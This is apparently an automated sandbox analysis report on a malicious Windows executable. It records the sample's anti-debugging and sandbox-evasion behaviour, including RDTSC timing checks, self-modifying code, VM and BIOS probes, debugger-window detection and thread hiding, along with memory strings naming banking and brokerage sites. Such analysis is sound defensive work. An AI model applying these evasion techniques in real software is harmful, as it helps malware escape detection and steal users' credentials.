Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCE0B second address: 65DCE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCE1A second address: 65DCE20 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCF55 second address: 65DCF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCF59 second address: 65DCF63 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5D5D24D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DD0CA second address: 65DD0CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DD0CE second address: 65DD0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5D5D24D0D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DD0EB second address: 65DD0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DD4CA second address: 65DD4EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F5D5D24D0DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDD3A second address: 65DDD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5CF5ECF4h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDD53 second address: 65DDD6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDEF2 second address: 65DDEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDEF6 second address: 65DDEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDEFC second address: 65DDF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDF02 second address: 65DDF1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F5D5D24D0C6h 0x0000000b ja 00007F5D5D24D0C6h 0x00000011 jg 00007F5D5D24D0C6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DDF1E second address: 65DDF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DE1F1 second address: 65DE1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DE1F7 second address: 65DE1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E0DD1 second address: 65E0DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F5D5D24D0D0h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E5260 second address: 65E5265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E5265 second address: 65E526A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E5368 second address: 65E5376 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5D5CF5ECE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E5376 second address: 65E537A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E42D2 second address: 65E42DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5D5CF5ECE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E9219 second address: 65E9226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5D5D24D0C6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E9226 second address: 65E922C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E922C second address: 65E9230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E9393 second address: 65E93CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D5CF5ECF9h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5D5CF5ECF4h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E93CB second address: 65E93DB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D5D24D0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E93DB second address: 65E93DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E96CC second address: 65E96D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E96D2 second address: 65E96D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65E9954 second address: 65E995D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EBF92 second address: 65EBFBD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D5CF5ECE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F5D5CF5ECF9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EBFBD second address: 65EBFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EC096 second address: 65EC0B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EC519 second address: 65EC51F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EC51F second address: 65EC523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EC60B second address: 65EC624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EC624 second address: 65EC628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECAB5 second address: 65ECAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECAB9 second address: 65ECAD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECAD4 second address: 65ECADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECADA second address: 65ECADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECADE second address: 65ECAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ECAE2 second address: 65ECB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F5D5CF5ECE8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov esi, dword ptr [ebp+122D3765h] 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ED00A second address: 65ED010 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ED92A second address: 65ED92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ED92E second address: 65ED999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F5D5D24D0C8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D1D9Ah] 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+122D3589h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F5D5D24D0C8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jns 00007F5D5D24D0CBh 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65ED999 second address: 65ED9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EE8FE second address: 65EE904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EE904 second address: 65EE98B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5D5CF5ECF4h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007F5D5CF5ECEDh 0x00000017 jmp 00007F5D5CF5ECF5h 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007F5D5CF5ECF5h 0x00000024 push 00000000h 0x00000026 pushad 0x00000027 mov eax, dword ptr [ebp+122D35DDh] 0x0000002d or ecx, dword ptr [ebp+122D3765h] 0x00000033 popad 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D37A5h] 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5D5CF5ECF1h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65EE98B second address: 65EE9A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F5D5D24D0D2h 0x00000011 jmp 00007F5D5D24D0CCh 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: A28918 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: A289C0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: BDB856 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: A26005 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: C663B5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 643D92E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 643D9C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 65E52FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 65E3D6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 65E3940 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Special instruction interceptor: First address: 65EA503 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 312	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 3132	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 5624	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 5116	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 6864	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe TID: 3056	Thread sleep time: -38019s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: COBYmpzi7q.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640656072.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: COBYmpzi7q.exe, COBYmpzi7q.exe, 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600975297.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640656072.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1466036066.000000000107F000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000107F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491413042.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: COBYmpzi7q.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: COBYmpzi7q.exe, 00000000.00000003.1491557389.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: NTICE
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: SICE
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior
